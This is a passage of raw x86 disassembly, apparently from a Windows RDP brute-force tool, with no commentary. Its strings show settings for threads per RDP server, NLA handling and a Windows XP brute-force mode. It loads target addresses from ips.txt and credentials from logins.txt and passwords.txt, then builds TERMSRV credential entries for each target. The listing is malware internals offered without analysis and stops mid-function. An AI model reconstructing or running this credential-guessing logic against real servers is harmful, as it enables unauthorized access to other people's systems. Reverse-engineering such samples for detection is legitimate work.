jmp 0x5445c5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x54483d
mov byte [0x5bdf28], 1
add ebx, 4
dec edi
test edi, edi
jg 0x544317
xor ebx, ebx
mov eax, 1
cmp dword [0x5ba9a4], eax
jne 0x5445fc
mov byte [0x5b1155], al
cmp dword [0x5ba9a8], eax
je 0x544603
mov byte [0x5b1155], 0
mov eax, dword [0x5ba9a0]
push eax
push ecx
push str.MAX_THREADS_PER_SERVER
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.00401250
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
mov ecx, dword [0x5ba9a4]
push ecx
push ecx
push str.MAX_THREADS_PER_RDP
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.00401250
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
mov edx, dword [0x5ba9a8]
push edx
push ecx
push str.MAX_THREADS_PER_RDP_NLA
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.00401250
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
movzx eax, byte [0x5bdf29]
push eax
push ecx
push str.NLA_ONLY_THREADS
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.00401100
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
movzx ecx, byte [0x5b1155]
push ecx
push ecx
push str.ONE_BY_ONE
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.00401100
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
movzx edx, byte [0x5bdf2a]
push edx
push ecx
push str.DEFAULT_IS_RDP
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.00401100
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
movzx eax, byte [0x5bdf28]
push eax
push ecx
push str.BRUTE_FORCE_WINXP
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.00401100
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
lea ecx, [esp + 0x148]
push ecx
call fcn.00403270
mov byte [esp + 0x34c], 0xa
push 1
mov ecx, str.ips.txt
lea esi, [esp + 0x154]
call fcn.00404070
test eax, eax
jne 0x5447ba
mov edx, dword [esp + 0x148]
mov ecx, dword [edx + 4]
mov eax, dword [esp + ecx + 0x150]
lea ecx, [esp + ecx + 0x148]
or eax, 2
cmp dword [ecx + 0x28], ebx
jne 0x5447b3
or eax, 4
push ebx
push eax
call fcn.004156c0
cmp dword [esp + 0x19c], ebx
jne 0x544856
mov byte [esp + 0x34c], 1
lea ecx, [esp + 0x1a0]
call fcn.00403370
lea ecx, [esp + 0x1a0]
call fcn.00418030
mov byte [esp + 0x34c], 0
lea eax, [esp + 0x28]
push eax
call fcn.00401930
mov dword [esp + 0x34c], 0xffffffff
cmp dword [esp + 0x58], 0x10
jb 0x544818
mov ecx, dword [esp + 0x44]
push ecx
call fcn.0050d7de
add esp, 4
mov dword [esp + 0x54], ebx
or eax, 0xffffffff
jmp 0x5463aa
push 0x585b88
push 0x5bb2e0
call fcn.004157c0
add esp, 8
push 1
call fcn.0050f84f
push str.invalid_arg_r_n
push 0x5bb2e0
call fcn.004157c0
add esp, 8
push 1
call fcn.0050f84f
mov edx, dword [esp + 0x148]
mov ecx, dword [edx + 4]
push 0xa
lea ecx, [esp + ecx + 0x14c]
call fcn.0040d860
movzx eax, al
push eax
lea ecx, [esp + 0x44]
push ecx
lea edx, [esp + 0x150]
push edx
call fcn.004081a0
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov edx, dword [ecx + eax + 8]
add ecx, eax
and dl, 6
movsx eax, dl
add esp, 0xc
neg eax
sbb eax, eax
not eax
test ecx, eax
je 0x544a1b
mov eax, 0x14
call fcn.00525ec0
mov ecx, esp
mov dword [esp + 0x24], esp
push ecx
mov edx, 0x585c58
call fcn.00407330
add esp, 4
mov byte [esp + 0x360], 0xb
lea edx, [esp + 0x54]
push edx
mov byte [esp + 0x364], 0xa
call fcn.004073b0
mov eax, dword [esp + 0x5c]
add esp, 0x18
cmp dword [esp + 0x58], 0x10
jae 0x5448f0
lea eax, [esp + 0x44]
lea ecx, [esp + 0x5c]
push ecx
push eax
lea esi, [esp + 0x24]
mov dword [esp + 0x64], 0
call fcn.00411c20
mov ecx, dword [esp + 0x24]
xor edx, edx
add esp, 8
test eax, eax
setle dl
dec edx
and edx, dword [esp + 0x5c]
neg ecx
sbb ecx, ecx
mov eax, edx
mov dword [esp + 0x60], eax
test ecx, fcn.00412cb0
jne 0x5449cd
push eax
call dword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x38]
mov edi, eax
cmp ecx, eax
jbe 0x544956
call fcn.0050dd58
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
mov esi, ecx
cmp ecx, eax
jbe 0x544969
call fcn.0050dd58
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
mov ebx, dword [esp + 0x28]
mov dword [esp + 0x108], esi
cmp esi, edi
je 0x54498b
mov edx, dword [esp + 0x10]
lea esp, [esp]
cmp dword [esi], edx
je 0x54498b
add esi, 4
cmp esi, edi
jne 0x544980
mov edi, eax
cmp ecx, eax
jbe 0x544996
call fcn.0050dd58
test ebx, ebx
je 0x5449a0
cmp ebx, dword [esp + 0x28]
je 0x5449a5
call fcn.0050dd58
cmp esi, edi
jne 0x5449cd
mov edx, dword [esp + 0x60]
push edx
call dword [sym.imp.WS2_32.dll_ntohl]
mov dword [esp + 0x10c], eax
lea eax, [esp + 0x10c]
push eax
mov edi, 0x5be130
call fcn.00401af0
mov ecx, dword [esp + 0x148]
mov ecx, dword [ecx + 4]
push 0xa
lea ecx, [esp + ecx + 0x14c]
call fcn.0040d860
movzx edx, al
push edx
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x150]
push ecx
call fcn.004081a0
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 8]
and al, 6
movsx edx, al
add esp, 0xc
neg edx
sbb edx, edx
not edx
test ecx, edx
jne 0x5448a6
lea ecx, [esp + 0x28]
call fcn.00401d60
lea ecx, [esp + 0x150]
call fcn.00404170
test eax, eax
jne 0x544a60
mov eax, dword [esp + 0x148]
mov ecx, dword [eax + 4]
mov eax, dword [esp + ecx + 0x150]
lea ecx, [esp + ecx + 0x148]
or eax, 2
cmp dword [ecx + 0x28], 0
jne 0x544a58
or eax, 4
push 0
push eax
call fcn.004156c0
mov esi, 0x5be130
call fcn.00540570
mov eax, dword [0x5be140]
mov ebx, eax
cmp dword [0x5be13c], eax
jbe 0x544a83
call fcn.0050dd58
mov eax, dword [0x5be140]
mov esi, dword [0x5be13c]
mov ecx, dword [0x5be130]
mov edi, ecx
cmp esi, eax
jbe 0x544aa5
call fcn.0050dd58
mov eax, dword [0x5be140]
mov ecx, dword [0x5be130]
test ecx, ecx
je 0x544aad
cmp ecx, edi
je 0x544ab7
call fcn.0050dd58
mov eax, dword [0x5be140]
cmp esi, ebx
je 0x544aca
push ebx
push esi
call fcn.004085c0
mov eax, dword [0x5be140]
add esp, 8
sub eax, dword [0x5be13c]
sar eax, 2
push eax
push ecx
push str.ips_count:
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.004013a0
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
xor ecx, ecx
mov dword [esp + 0xa8], 7
mov dword [esp + 0xa4], 0
mov word [esp + 0x94], cx
mov byte [esp + 0x34c], 0xc
mov eax, dword [esp + 0xa4]
lea ecx, [esp + 0x90]
cmp eax, 0x64
jb 0x544b45
push 0xffffffffffffffff
push 0x64
call fcn.00405370
jmp 0x544b54
mov edx, 0x64
push 0
sub edx, eax
push edx
call fcn.004052b0
lea eax, [esp + 0x1d8]
push eax
call fcn.004033e0
mov byte [esp + 0x34c], 0xd
push 0x21
mov ecx, str.passwords.txt
lea esi, [esp + 0x1e4]
call fcn.00403d30
test eax, eax
jne 0x544bac
mov ecx, dword [esp + 0x1d8]
mov ecx, dword [ecx + 4]
mov eax, dword [esp + ecx + 0x1e0]
lea ecx, [esp + ecx + 0x1d8]
or eax, 2
cmp dword [ecx + 0x28], 0
jne 0x544ba4
or eax, 4
push 0
push eax
call fcn.004156c0
mov eax, dword [esp + 0x1d8]
mov ecx, dword [eax + 4]
lea edx, [esp + 0xe4]
push edx
lea ecx, [esp + ecx + 0x1dc]
call fcn.004017d0
mov ecx, dword [esp + 0xe4]
test ecx, ecx
je 0x544be8
call fcn.00419470
test eax, eax
je 0x544be8
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx]
push 1
call eax
call fcn.00401990
mov ecx, dword [esp + 0x1d8]
mov ecx, dword [ecx + 4]
push 0xa
lea ecx, [esp + ecx + 0x1dc]
call fcn.004064b0
movzx edx, ax
push edx
lea eax, [esp + 0x94]
push eax
lea ecx, [esp + 0x1e0]
push ecx
call fcn.00408640
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 8]
and al, 6
movsx edx, al
add esp, 0xc
neg edx
sbb edx, edx
not edx
test ecx, edx
je 0x544d3f
mov bl, 0xe
mov eax, 0x14
call fcn.00525ec0
mov eax, esp
mov dword [esp + 0xd8], esp
push eax
mov edx, 0x585c88
call fcn.00407330
add esp, 4
mov byte [esp + 0x360], bl
lea ecx, [esp + 0xa4]
push ecx
mov byte [esp + 0x364], 0xd
call fcn.00407470
mov esi, dword [esp + 0xac]
add esp, 0x18
cmp dword [esp + 0xa8], 8
jae 0x544c98
lea esi, [esp + 0x94]
mov edi, dword [esp + 0xa4]
add edi, edi
lea edx, [edi + 2]
push edx
call fcn.0050f3bc
add esp, 4
xor edx, edx
mov ecx, eax
mov word [eax + edi], dx
movzx edx, word [esi]
mov word [ecx], dx
movzx edx, word [esi]
add ecx, 2
add esi, 2
test dx, dx
jne 0x544cb5
mov dword [esp + 0xc4], eax
lea eax, [esp + 0xc4]
push eax
mov edi, 0x5be148
call fcn.00401af0
lea ecx, [esp + 0x90]
call fcn.004018c0
mov ecx, dword [esp + 0x1d8]
mov ecx, dword [ecx + 4]
push 0xa
lea ecx, [esp + ecx + 0x1dc]
call fcn.004064b0
movzx edx, ax
push edx
lea eax, [esp + 0x94]
push eax
lea ecx, [esp + 0x1e0]
push ecx
call fcn.00408640
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 8]
and al, 6
movsx edx, al
add esp, 0xc
neg edx
sbb edx, edx
not edx
test ecx, edx
jne 0x544c40
mov ecx, dword [0x5be158]
sub ecx, dword [0x5be154]
sar ecx, 2
call fcn.00403b20
lea ecx, [esp + 0x1e0]
call fcn.0041a290
xor ebx, ebx
test eax, eax
jne 0x544d8f
mov eax, dword [esp + 0x1d8]
mov ecx, dword [eax + 4]
mov eax, dword [esp + ecx + 0x1e0]
lea ecx, [esp + ecx + 0x1d8]
or eax, 2
cmp dword [ecx + 0x28], ebx
jne 0x544d88
or eax, 4
push ebx
push eax
call fcn.004156c0
mov ecx, dword [0x5be158]
sub ecx, dword [0x5be154]
test ecx, 0xfffffffc
jne 0x544dce
push str.no_passwords
push 0x5bb2e0
call fcn.004157c0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
push 1
call fcn.0050f84f
lea edx, [esp + 0x2a0]
push edx
call fcn.004033e0
mov byte [esp + 0x34c], 0xf
mov ecx, str.logins.txt
lea edi, [esp + 0x2a0]
call fcn.00403520
cmp dword [esp + 0x2f4], ebx
jne 0x544eb3
mov byte [esp + 0x34c], 0xd
lea ecx, [esp + 0x2f8]
call fcn.004034b0
lea ecx, [esp + 0x2f8]
call fcn.0041a410
mov byte [esp + 0x34c], 0xc
lea ecx, [esp + 0x230]
call fcn.004034b0
lea ecx, [esp + 0x230]
call fcn.0041a410
mov byte [esp + 0x34c], 0xa
lea ecx, [esp + 0x90]
call fcn.00401890
mov byte [esp + 0x34c], 1
lea ecx, [esp + 0x1a0]
call fcn.00403370
lea ecx, [esp + 0x1a0]
call fcn.00418030
mov byte [esp + 0x34c], 0
lea eax, [esp + 0x28]
push eax
call fcn.00401930
mov dword [esp + 0x34c], 0xffffffff
lea ecx, [esp + 0x40]
call fcn.0041ac40
or eax, 0xffffffff
mov ecx, dword [esp + 0x344]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esp + 0x2a0]
lea ecx, [esp + 0x84]
push ecx
mov ecx, dword [edx + 4]
lea ecx, [esp + ecx + 0x2a4]
call fcn.004017d0
lea ecx, [esp + 0x84]
call fcn.00419520
mov eax, dword [esp + 0x2a0]
mov ecx, dword [eax + 4]
push 0xa
lea ecx, [esp + ecx + 0x2a4]
call fcn.004064b0
movzx ecx, ax
push ecx
lea edx, [esp + 0x94]
push edx
lea eax, [esp + 0x2a8]
push eax
call fcn.00408640
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov edx, dword [ecx + eax + 8]
add ecx, eax
and dl, 6
movsx eax, dl
add esp, 0xc
neg eax
sbb eax, eax
not eax
test ecx, eax
je 0x544ff3
mov esi, 8
mov eax, 0x14
call fcn.00525ec0
mov ecx, esp
mov dword [esp + 0x78], esp
push ecx
mov edx, str.__r__n__t_
call fcn.00407330
add esp, 4
mov byte [esp + 0x360], 0x10
lea edx, [esp + 0xa4]
push edx
mov byte [esp + 0x364], 0xf
call fcn.00407470
mov ecx, dword [esp + 0xac]
add esp, 0x18
cmp dword [esp + 0xa8], esi
jae 0x544f8a
lea ecx, [esp + 0x94]
call fcn.005404a0
mov dword [esp + 0x64], eax
lea eax, [esp + 0x64]
push eax
mov edi, 0x5be160
call fcn.00401af0
mov ecx, dword [esp + 0x2a0]
mov ecx, dword [ecx + 4]
push 0xa
lea ecx, [esp + ecx + 0x2a4]
call fcn.004064b0
movzx edx, ax
push edx
lea eax, [esp + 0x94]
push eax
lea ecx, [esp + 0x2a8]
push ecx
call fcn.00408640
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 8]
and al, 6
movsx edx, al
add esp, 0xc
neg edx
sbb edx, edx
not edx
test ecx, edx
jne 0x544f35
lea esi, [esp + 0x2a0]
call fcn.00403550
mov eax, dword [0x5be170]
sub eax, dword [0x5be16c]
test eax, 0xfffffffc
jne 0x545031
push str.no_logins
push 0x5bb2e0
call fcn.004157c0
add esp, 8
mov esi, eax
call fcn.004159a0
push 1
call fcn.0050f84f
call fcn.00540e50
mov eax, dword [0x5bc15c]
xor ecx, ecx
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004f8dbf
mov dword [esp + 0x80], eax
mov eax, dword [0x5bc15c]
xor ecx, ecx
add esp, 4
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004f8dbf
mov dword [0x5bc154], eax
mov eax, dword [0x5bc15c]
xor ecx, ecx
add esp, 4
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004f8dbf
mov dword [0x5bc150], eax
mov eax, dword [0x5bc15c]
xor ecx, ecx
add esp, 4
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004f8dbf
add esp, 4
xor esi, esi
mov dword [0x5bdf2c], eax
mov dword [0x5bc158], ebx
cmp dword [0x5bc15c], ebx
jbe 0x54522f
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x1c], ebx
push 0xc
call fcn.0050d866
add esp, 4
mov dword [esp + 0x14], eax
mov byte [esp + 0x34c], 0x11
cmp eax, ebx
je 0x545103
mov ecx, eax
call fcn.00411ba0
jmp 0x545105
xor eax, eax
mov byte [esp + 0x34c], 0xf
mov ecx, dword [0x5bc154]
push 4
mov dword [ecx + esi*4], eax
call fcn.0050d866
mov edi, eax
add esp, 4
mov dword [esp + 0x14], edi
mov byte [esp + 0x34c], 0x12
cmp edi, ebx
je 0x54514c
mov edx, dword [0x5bc154]
mov eax, dword [edx + esi*4]
mov eax, dword [eax + 8]
mov dword [edi], eax
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
jmp 0x54514e
xor edi, edi
mov byte [esp + 0x34c], 0xf
mov eax, dword [0x5bc150]
push 4
mov dword [eax + esi*4], edi
call fcn.0050d866
add esp, 4
mov dword [esp + 0x14], eax
mov byte [esp + 0x34c], 0x13
cmp eax, ebx
je 0x545190
mov ecx, dword [0x5bc154]
mov ecx, dword [ecx + esi*4]
push ecx
mov edx, 0x540ce0
push edx
push eax
call fcn.00407530
jmp 0x545192
xor eax, eax
mov byte [esp + 0x34c], 0xf
mov edx, dword [esp + 0x7c]
push 0x10
mov dword [edx + esi*4], eax
call fcn.0050d866
add esp, 4
mov dword [esp + 0x14], eax
mov byte [esp + 0x34c], 0x14
cmp eax, ebx
je 0x5451c5
push eax
call fcn.00411400
mov edi, eax
jmp 0x5451c7
xor edi, edi
mov byte [esp + 0x34c], 0xf
mov eax, dword [0x5bdf2c]
mov dword [eax + esi*4], edi
call fcn.0050cbc0
mov eax, dword [edi + 4]
mov ecx, dword [eax + 0xe8]
mov dword [eax + 0xc0], ebx
mov dword [eax + 0xe8], ecx
call fcn.0050cbc0
mov ecx, dword [0x5bdf2c]
mov edi, dword [ecx + esi*4]
mov dword [esp + 0x20], eax
call fcn.0050cbc0
mov eax, dword [edi + 4]
cmp eax, ebx
je 0x545219
or dword [eax + 0xa4], 0x20a00
call fcn.0050cbc0
inc esi
mov dword [esp + 0x20], eax
cmp esi, dword [0x5bc15c]
jb 0x5450e0
mov eax, dword [0x5be158]
sub eax, dword [0x5be154]
inc dword [0x5bc14c]
sar eax, 2
push eax
push ecx
push str.passwords_count:
push 0x5bb2e0
call fcn.004157c0
add esp, 0xc
push eax
call fcn.004013a0
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00415220
mov ecx, esi
call fcn.00415310
call fcn.004615c0
call fcn.00486c00
call fcn.00487410
push 8
push 0x5bc13c
call fcn.0045ff40
push 8
push 0x5bc134
call fcn.0045ff40
push 0x10
push 0x5bc124
call fcn.0045ff40
mov eax, dword [0x5be170]
sub eax, dword [0x5be16c]
xor ecx, ecx
sar eax, 2
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004f8dbf
mov esi, dword [0x5be170]
mov ecx, dword [0x5be16c]
mov dword [0x5bdf44], eax
mov eax, esi
sub eax, ecx
sar eax, 2
add esp, 0x1c
xor edi, edi
test eax, eax
jbe 0x545338
jmp 0x5452f0
mov eax, dword [0x5be158]
sub eax, dword [0x5be154]
xor ecx, ecx
sar eax, 2
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004f8dbf
mov ecx, dword [0x5bdf44]
mov dword [ecx + edi*4], eax
mov esi, dword [0x5be170]
mov ecx, dword [0x5be16c]
mov edx, esi
sub edx, ecx
inc edi
sar edx, 2
add esp, 4
cmp edi, edx
jb 0x5452f0
mov eax, esi
sub eax, ecx
sar eax, 2
mov dword [esp + 0x18], ebx
test eax, eax
jbe 0x5454af
mov edx, dword [0x5be158]
mov eax, dword [0x5be154]
mov edi, edx
sub edi, eax
sar edi, 2
mov dword [esp + 0x24], 0
test edi, edi
jbe 0x545497
lea ecx, [ecx]
mov ebx, dword [esp + 0x18]
mov edi, esi
sub edi, ecx
sar edi, 2
cmp ebx, edi
jb 0x54539b
call fcn.0050dd58
mov edx, dword [0x5be158]
mov eax, dword [0x5be154]
mov esi, dword [0x5be170]
mov ecx, dword [0x5be16c]
mov edi, dword [ecx + ebx*4]
cmp word [edi], 0
mov dword [esp + 0x64], edi
je 0x5453b9
jmp 0x5453b0
add edi, 2
cmp word [edi], 0
jne 0x5453b0
sub esi, ecx
sar esi, 2
cmp ebx, esi
jb 0x5453d8
call fcn.0050dd58
mov edx, dword [0x5be158]
mov eax, dword [0x5be154]
mov ecx, dword [0x5be16c]
lea ecx, [ecx + ebx*4]
mov dword [esp + 0x84], ecx
mov ecx, edx
sub ecx, eax
sar ecx, 2
cmp dword [esp + 0x24], ecx
jb 0x5453ff
call fcn.0050dd58
mov edx, dword [0x5be158]
mov eax, dword [0x5be154]
mov ecx, dword [esp + 0x24]
mov ebx, dword [eax + ecx*4]
cmp word [ebx], 0
mov esi, ebx
je 0x545419
mov edi, edi
add esi, 2
cmp word [esi], 0
jne 0x545410
sub edx, eax
sar edx, 2
cmp ecx, edx
jb 0x54542c
call fcn.0050dd58
mov eax, dword [0x5be154]
sub edi, dword [esp + 0x64]
mov edx, dword [esp + 0x84]
mov ecx, dword [edx]
mov edx, dword [esp + 0x24]
push 0
push 0
push 0
sar edi, 1
sub esi, ebx
add edi, edi
push edi
push ecx
mov ecx, dword [eax + edx*4]
sar esi, 1
add esi, esi
push esi
call fcn.00532600
mov ecx, dword [0x5bdf44]
mov edx, dword [esp + 0x18]
mov edx, dword [ecx + edx*4]
mov ecx, dword [esp + 0x24]
mov dword [edx + ecx*4], eax
mov edx, dword [0x5be158]
mov eax, dword [0x5be154]
mov esi, edx
sub esi, eax
inc ecx
sar esi, 2
cmp ecx, esi
mov esi, dword [0x5be170]
mov dword [esp + 0x24], ecx
mov ecx, dword [0x5be16c]
jb 0x545370
mov edi, dword [esp + 0x18]
mov ebx, esi
sub ebx, ecx
inc edi
sar ebx, 2
mov dword [esp + 0x18], edi
cmp edi, ebx
jb 0x545356
push 4
call fcn.0050d866
add esp, 4
mov dword [esp + 0x14], eax
mov byte [esp + 0x34c], 0x15
xor edi, edi
cmp eax, edi
je 0x5454df
push 0x540d00
push eax
call fcn.004075a0
mov dword [esp + 0xb8], eax
jmp 0x5454e6
mov dword [esp + 0xb8], edi
mov byte [esp + 0x34c], 0xf
push 4
call fcn.0050d866
add esp, 4
mov dword [esp + 0x14], eax
mov byte [esp + 0x34c], 0x16
cmp eax, edi
je 0x54551c
push 0x541e80
push eax
call fcn.004075a0
mov dword [esp + 0xb4], eax
jmp 0x545523
mov dword [esp + 0xb4], edi
mov byte [esp + 0x34c], 0xf
push 4
call fcn.0050d866
add esp, 4
mov dword [esp + 0x14], eax
mov byte [esp + 0x34c], 0x17
cmp eax, edi
je 0x545556
push 0x54ab10
push eax
call fcn.004075a0
mov dword [esp + 0x60], eax
jmp 0x54555a
mov dword [esp + 0x60], edi
mov byte [esp + 0x34c], 0xf
push 4
call fcn.0050d866
add esp, 4
mov dword [esp + 0x14], eax
mov byte [esp + 0x34c], 0x18
cmp eax, edi
je 0x545590
push 0x547490
push eax
call fcn.004075a0
mov dword [esp + 0x104], eax
jmp 0x545597
mov dword [esp + 0x104], edi
mov byte [esp + 0x34c], 0xf
push 4
call fcn.0050d866
add esp, 4
mov dword [esp + 0x14], eax
mov byte [esp + 0x34c], 0x19
cmp eax, edi
je 0x5455ca
push 0x549fa0
push eax
call fcn.004075a0
mov dword [esp + 0x10], eax
jmp 0x5455ce
mov dword [esp + 0x10], edi
mov byte [esp + 0x34c], 0xf
mov ecx, 0x5be120
mov dword [esp + 0x5c], 0x3e8
call fcn.00417e30
mov esi, dword [0x5be13c]
cmp esi, dword [0x5be140]
jbe 0x5455fb
call fcn.0050dd58
mov eax, dword [0x5be130]
mov dword [0x5be720], eax
mov dword [0x5be724], esi
jmp 0x545610
mov esi, dword [0x5be140]
cmp dword [0x5be13c], esi
jbe 0x545628
call fcn.0050dd58
mov eax, dword [0x5be720]
cmp eax, edi
je 0x545634
cmp eax, dword [0x5be130]
je 0x54563e
call fcn.0050dd58
mov eax, dword [0x5be720]
cmp dword [0x5be724], esi
je 0x545b26
mov ecx, dword [0x5bc14c]
cmp ecx, dword [0x5ba9a0]
jg 0x545b26
cmp eax, edi
jne 0x54566e
call fcn.0050dd58
mov eax, dword [0x5be720]
cmp eax, edi
je 0x545672
mov eax, dword [eax]
jmp 0x545674
xor eax, eax
mov edx, dword [0x5be724]
cmp edx, dword [eax + 0x10]
jb 0x545684
call fcn.0050dd58
mov eax, dword [0x5be724]
mov esi, dword [eax]
mov edi, 0x5be700
mov dword [esp + 0xec], esi
call fcn.004150d0
lea ecx, [esp + 0xec]
push ecx
lea edx, [esp + 0xcc]
push edx
call fcn.00403180
mov eax, dword [0x5bdf40]
mov edi, dword [esp + 0xc8]
mov ebx, dword [eax + 0x18]
mov eax, dword [eax]
test edi, edi
je 0x5456ca
cmp edi, eax
je 0x5456cf
call fcn.0050dd58
cmp dword [esp + 0xcc], ebx
je 0x54572f
test edi, edi
jne 0x545722
call fcn.0050dd58
mov eax, dword [esp + 0xcc]
cmp eax, dword [edi + 0x18]
jne 0x5456f2
call fcn.0050dd58
mov ecx, dword [esp + 0xcc]
mov ebx, dword [ecx + 0x10]
mov ecx, 0x5be700
call fcn.00415040
mov edi, 0x5be0f0
call fcn.004129c0
cmp byte [ebx + 0x58], 0
je 0x545726
mov ecx, edi
call fcn.00414c10
jmp 0x545ae6
mov edi, dword [edi]
jmp 0x5456e1
mov byte [ebx + 0x58], 1
jmp 0x545823
push 0x6c
call fcn.0050d866
add esp, 4
mov dword [esp + 0x14], eax
mov byte [esp + 0x34c], 0x1a
test eax, eax
je 0x545753
push eax
call fcn.00414b60
mov ebx, eax
jmp 0x545755
xor ebx, ebx
mov byte [esp + 0x34c], 0xf
mov eax, dword [0x5be16c]
mov edi, eax
cmp eax, dword [0x5be170]
jbe 0x545771
call fcn.0050dd58
mov eax, dword [0x5be160]
mov dword [ebx + 0x18], edi
mov dword [ebx + 0x14], eax
mov eax, dword [0x5be154]
mov edi, eax
cmp eax, dword [0x5be158]
jbe 0x545790
call fcn.0050dd58
mov eax, dword [0x5be148]
mov dword [ebx + 0x20], edi
mov dword [ebx + 0x1c], eax
mov eax, dword [0x5be16c]
mov edi, eax
cmp eax, dword [0x5be170]
jbe 0x5457af
call fcn.0050dd58
mov eax, dword [0x5be160]
mov dword [ebx + 0x24], eax
mov dword [ebx + 0x28], edi
mov edi, dword [0x5be154]
cmp edi, dword [0x5be158]
jbe 0x5457cd
call fcn.0050dd58
mov eax, dword [0x5be148]
mov dl, byte [0x5bdf2a]
mov dword [ebx + 0x30], edi
mov edi, 0x5be0f0
mov dword [ebx + 0x2c], eax
mov byte [ebx + 0x58], 1
mov byte [ebx + 0x59], dl
call fcn.004129c0
mov edi, 0x5be700
call fcn.00414f40
lea eax, [esp + 0x110]
push eax
lea ecx, [esp + 0x338]
push ecx
mov dword [esp + 0x118], esi
mov dword [esp + 0x11c], ebx
call fcn.00402db0
mov ecx, edi
call fcn.00414c10
mov edi, 1
add dword [0x5bc14c], edi
push esi
call dword [sym.imp.WS2_32.dll_htonl]
add dword [ebx + 4], edi
lea edx, [esp + 0x12c]
mov dword [esp + 0x14], eax
push edx
lea eax, [esp + 0x18]
push eax
call fcn.00414ad0
mov byte [esp + 0x34c], 0x1b
push 0xffffffffffffffff
xor edi, edi
push edi
lea ecx, [ebx + 0x38]
push eax
call fcn.0041aac0
mov byte [esp + 0x34c], 0xf
cmp dword [esp + 0x144], 0x10
jb 0x545886
mov ecx, dword [esp + 0x130]
push ecx
call fcn.0050d7de
add esp, 4
push 0x80
mov dword [esp + 0x148], 0xf
mov dword [esp + 0x144], edi
mov byte [esp + 0x134], 0
call fcn.0050d866
add esp, 4
mov dword [esp + 0x14], eax
mov byte [esp + 0x34c], 0x1c
cmp eax, edi
je 0x5458c5
push eax
call fcn.00414790
mov edi, eax
mov byte [esp + 0x34c], 0xf
push 0xffffffffffffffff
mov dword [edi + 4], esi
push 0
lea eax, [ebx + 0x38]
lea esi, [edi + 0x34]
push eax
mov ecx, esi
mov dword [edi + 0x30], 0
mov dword [edi + 0x50], fcn.00542690
call fcn.0041aac0
mov eax, dword [edi + 0x48]
add eax, 0x12
push eax
call fcn.0050f3bc
add esp, 4
cmp dword [esi + 0x18], 0x10
mov dword [esp + 0x18], eax
jb 0x54590e
mov esi, dword [esi + 4]
jmp 0x545911
add esi, 4
mov edx, dword [esp + 0x18]
push esi
push str.TERMSRV_
push str._s_s
push edx
call fcn.0050f486
mov eax, dword [esp + 0x28]
add esp, 0x10
lea esi, [edi + 0x64]
push esi
push eax
call fcn.0053e5e0
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0050f521
mov ecx, dword [esi]
add esp, 4
cmp word [ecx], 0
mov eax, ecx
je 0x545959
mov edi, edi
add eax, 2
cmp word [eax], 0
jne 0x545950
sub eax, ecx
sar eax, 1
push 0x28
mov dword [edi + 0x68], eax
call fcn.0050d866
add esp, 4
mov dword [esp + 0x14], eax
mov byte [esp + 0x34c], 0x1d
test eax, eax
je 0x54598f
lea esi, [edi + 0x14]
call fcn.005407c0
mov edx, dword [esp + 0x14]
push eax
push edx
call fcn.00414740
jmp 0x545991
xor eax, eax
mov byte [esp + 0x34c], 0xf
mov ecx, dword [0x5bdf2c]
mov dword [edi + 8], eax
mov eax, dword [edi + 0x14]
mov edx, dword [ecx + eax*4]
mov dword [edi + 0x54], edx
mov eax, dword [ebx + 0x1c]
test eax, eax
jne 0x5459be
call fcn.0050dd58
mov eax, dword [ebx + 0x1c]
test eax, eax
je 0x5459c2
mov eax, dword [eax]
jmp 0x5459c4
xor eax, eax
mov ecx, dword [ebx + 0x20]
